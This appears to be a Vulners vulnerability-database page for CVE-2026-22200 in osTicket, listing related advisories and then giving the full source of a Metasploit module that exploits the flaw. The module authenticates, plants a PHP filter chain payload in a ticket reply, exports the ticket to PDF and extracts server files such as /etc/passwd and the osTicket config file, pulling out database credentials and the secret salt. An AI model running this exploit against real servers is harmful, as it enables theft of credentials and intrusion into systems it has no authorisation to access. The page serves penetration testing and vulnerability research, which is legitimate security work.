| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| CVE-2026-22200 | 12 Jan 202618:34 | – | attackerkb | |
| CVE-2026-22200 | 12 Jan 202620:07 | – | circl | |
| Enhancesoft osTicket 注入漏洞 | 12 Jan 202600:00 | – | cnnvd | |
| CVE-2026-22200 | 12 Jan 202618:34 | – | cve | |
| CVE-2026-22200 osTicket (1.18.x < 1.18.3, 1.17.x < 1.17.7) PDF Export Arbitrary File Read | 12 Jan 202618:34 | – | cvelist | |
| Exploit for CVE-2024-2961 | 3 Mar 202611:37 | – | githubexploit | |
| EUVD-2026-1918 | 12 Jan 202618:34 | – | euvd | |
| osTicket - Arbitrary File Read | 16 Jul 202609:41 | – | nuclei | |
| CVE-2026-22200 | 12 Jan 202619:16 | – | nvd | |
| CVE-2026-22200 osTicket (1.18.x < 1.18.3, 1.17.x < 1.17.7) PDF Export Arbitrary File Read | 12 Jan 202618:34 | – | osv |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Osticket
def initialize(info = {})
super(
update_info(
info,
'Name' => 'osTicket Arbitrary File Read via PHP Filter Chains in mPDF',
'Description' => %q{
This module exploits an arbitrary file read vulnerability in osTicket
(CVE-2026-22200). The vulnerability exists in osTicket's PDF export
functionality which uses mPDF. By injecting a specially crafted HTML payload
containing PHP filter chain URIs into a ticket reply, an attacker can read
arbitrary files from the server when the ticket is exported to PDF.
The PHP filter chain constructs a BMP image header that is prepended to the
target file contents. When mPDF renders the ticket as a PDF, it processes
the php://filter URI, reads the target file, and embeds it as a bitmap image
in the resulting PDF. The module then extracts the file contents from the PDF.
Authentication is required. The module supports both staff panel (/scp/) and
client portal login. An existing ticket number is also required.
Default files extracted are /etc/passwd and include/ost-config.php. The
osTicket config file contains database credentials and the SECRET_SALT value.
},
'Author' => [
'HORIZON3.ai Team', # Vulnerability discovery and PoC
'Arkaprabha Chakraborty <@t1nt1nsn0wy>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-22200'],
['URL', 'https://horizon3.ai/attack-research/attack-blogs/ticket-to-shell-exploiting-php-filters-and-cnext-in-osticket-cve-2026-22200'],
['URL', 'https://github.com/horizon3ai/CVE-2026-22200/tree/main']
],
'DisclosureDate' => '2026-01-13',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Base path to osTicket installation', '/']),
OptString.new('USERNAME', [true, 'osTicket username or email address']),
OptString.new('PASSWORD', [true, 'osTicket password']),
OptString.new('TICKET_NUMBER', [false, 'Ticket number to use for payload injection (e.g. 978554). If not set, a new ticket is created each run']),
OptString.new('TICKET_ID', [false, 'Internal ticket ID (auto-detected if not set)']),
OptEnum.new('LOGIN_PORTAL', [true, 'Login portal to use', 'auto', ['auto', 'scp', 'client']]),
OptString.new('FILE', [
true,
'Path for file to read.',
'/etc/passwd'
]),
OptString.new('SCP_TICKET_EMAIL', [
false,
'Email for ticket owner when creating tickets via SCP portal login. ' \
'Only used if authentication succeeds through the SCP (/scp/) portal.',
'[email protected]'
]),
OptString.new('SCP_TICKET_NAME', [
false,
'Full name for ticket owner when creating tickets via SCP portal login. ' \
'Only used if authentication succeeds through the SCP (/scp/) portal.',
'MSF User'
]),
OptString.new('TICKET_SUBJECT', [false, 'Subject for new ticket if TICKET_NUMBER is not set', 'Support Request']),
OptString.new('TICKET_MESSAGE', [false, 'Message body for new ticket if TICKET_NUMBER is not set', 'Please assist.']),
OptBool.new('STORE_LOOT', [false, 'Store extracted files as loot', true]),
OptInt.new('MAX_REDIRECTS', [false, 'Maximum number of HTTP redirect hops to follow', 3]),
OptInt.new('MAX_TICKET_ID', [false, 'Upper bound for brute-force ticket ID search', 20])
]
)
end
def check
begin
res = send_request_cgi!(
{ 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI']) },
20,
datastore['MAX_REDIRECTS']
)
rescue ::Rex::ConnectionError, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Errno::ETIMEDOUT => e
return Exploit::CheckCode::Unknown("Could not connect to target: #{e.message}")
end
return Exploit::CheckCode::Unknown('No response from target') unless res
return Exploit::CheckCode::Safe('Target does not appear to be an osTicket installation') unless osticket?(res)
Exploit::CheckCode::Detected('Target appears to be an osTicket installation')
end
def run
base_uri = datastore['TARGETURI']
file_raw = datastore['FILE'].to_s.strip
fail_with(Failure::BadConfig, 'No file specified in FILE option') if file_raw.empty?
if file_raw.include?(':')
file_path, file_enc = file_raw.split(':', 2)
file_enc = 'plain' unless %w[plain b64 b64zlib].include?(file_enc)
else
file_path = file_raw
file_enc = 'plain'
end
print_status("Target: #{Rex::Socket.to_authority(rhost, rport)}")
print_status("File to extract: #{file_path}")
# Step 1: Login
print_status('Attempting authentication...')
portal, cookies = do_login(base_uri)
if portal.nil?
fail_with(Failure::NoAccess, "Login failed with #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
end
prefix = portal == 'scp' ? '/scp' : ''
print_good("Authenticated via #{portal} portal")
# Step 2: Locate or create ticket
ticket_number = datastore['TICKET_NUMBER'].to_s
if ticket_number.empty?
print_warning('No TICKET_NUMBER supplied — a new ticket will be created each time this module runs')
ticket_id, ticket_number = if portal == 'scp'
create_ticket_scp(base_uri, prefix, cookies, datastore['TICKET_SUBJECT'], datastore['TICKET_MESSAGE'])
else
create_ticket(base_uri, cookies, datastore['TICKET_SUBJECT'], datastore['TICKET_MESSAGE'])
end
fail_with(Failure::UnexpectedReply, 'Failed to create new ticket') if ticket_id.nil?
print_good("Created ticket ##{ticket_number} (internal ID: #{ticket_id})")
else
print_status('Locating ticket...')
ticket_id = resolve_ticket_id(base_uri, prefix, cookies)
fail_with(Failure::NotFound, "Could not find internal ID for ticket ##{ticket_number}. Try setting TICKET_ID manually.") if ticket_id.nil?
print_good("Ticket ##{ticket_number} has internal ID: #{ticket_id}")
end
# Step 3: Generate and submit payload
print_status('Generating PHP filter chain payload...')
file_spec = file_enc == 'plain' ? file_path : "#{file_path},#{file_enc}"
payload_html = generate_ticket_payload([file_spec], is_reply: true)
print_status("Payload generated (#{payload_html.length} bytes)")
print_status('Submitting payload as ticket reply...')
reply_ok = submit_ticket_reply(base_uri, prefix, ticket_id, payload_html, cookies)
if reply_ok
print_good('Reply posted successfully')
else
print_warning('Reply submission did not return expected confirmation. Continuing...')
end
# Step 4: Download PDF
print_status('Downloading ticket PDF...')
pdf_data = download_ticket_pdf(base_uri, prefix, ticket_id, cookies, datastore['MAX_REDIRECTS'] || 3)
if pdf_data.nil?
fail_with(Failure::UnexpectedReply, 'Failed to download PDF export')
end
print_good("PDF downloaded (#{pdf_data.length} bytes)")
# Step 5: Extract file from PDF
print_status('Extracting file from PDF...')
extracted = extract_files_from_pdf(pdf_data)
if extracted.empty?
print_error('No file could be extracted from the PDF')
if datastore['STORE_LOOT']
path = store_loot('osticket.pdf', 'application/pdf', rhost, pdf_data, 'ticket.pdf', 'Raw PDF export')
print_status("Raw PDF saved as loot: #{path}")
end
return
end
content = extracted.last
print_good("Extracted #{content.length} bytes")
# Step 6: Display and store result
safe_name = file_path.tr('/', '_').sub(/\A_+/, '')
print_line
print_line('=' * 70)
print_line('EXTRACTED FILE CONTENTS')
print_line('=' * 70)
print_line
print_line("--- [#{file_path}] (#{content.length} bytes) ---")
begin
text = content.encode('UTF-8', 'binary', invalid: :replace, undef: :replace, replace: '')
text.sub!(/[\x00-\x08\x0e-\x1f].*\z/m, '') # Strip trailing BMP padding artifacts
if text.length > 3000
print_line(text[0, 3000])
print_line("\n... (truncated)")
else
print_line(text)
end
rescue EncodingError
print_line('[Binary data]')
end
if datastore['STORE_LOOT']
path = store_loot(
"osticket.#{safe_name}",
'application/octet-stream',
rhost,
content,
safe_name,
"File read from osTicket server: #{file_path}"
)
print_good("Saved to: #{path}")
end
# Look for key secrets in ost-config.php
report_secrets([content])
print_line
print_good('Exploitation complete')
end
private
# Attempts login via the configured portal (auto tries SCP first, then client).
# Returns [portal_type, cookies] or [nil, nil].
def do_login(base_uri)
portal_pref = datastore['LOGIN_PORTAL']
print_status("do_login: portal preference=#{portal_pref}, base_uri=#{base_uri}, username=#{datastore['USERNAME']}")
if portal_pref == 'auto' || portal_pref == 'scp'
print_status('do_login: Trying staff panel (/scp/) login...')
cookies = osticket_login_scp(base_uri, datastore['USERNAME'], datastore['PASSWORD'])
if cookies
print_good("do_login: SCP login succeeded, cookies=#{cookies}")
return ['scp', cookies]
end
print_status('do_login: Staff panel login failed') if portal_pref == 'auto'
end
if portal_pref == 'auto' || portal_pref == 'client'
print_status('do_login: Trying client portal login...')
cookies = osticket_login_client(base_uri, datastore['USERNAME'], datastore['PASSWORD'])
if cookies
print_good("do_login: Client portal login succeeded, cookies=#{cookies}")
return ['client', cookies]
end
print_status('do_login: Client portal login failed')
end
print_error('do_login: All login attempts failed')
[nil, nil]
end
# Resolves the internal ticket ID from the user-provided ticket number or datastore override.
def resolve_ticket_id(base_uri, prefix, cookies)
if datastore['TICKET_ID'] && !datastore['TICKET_ID'].empty?
print_status("resolve_ticket_id: Using manually set TICKET_ID=#{datastore['TICKET_ID']}")
return datastore['TICKET_ID']
end
find_ticket_id(base_uri, prefix, datastore['TICKET_NUMBER'], cookies, datastore['MAX_TICKET_ID'] || 20)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation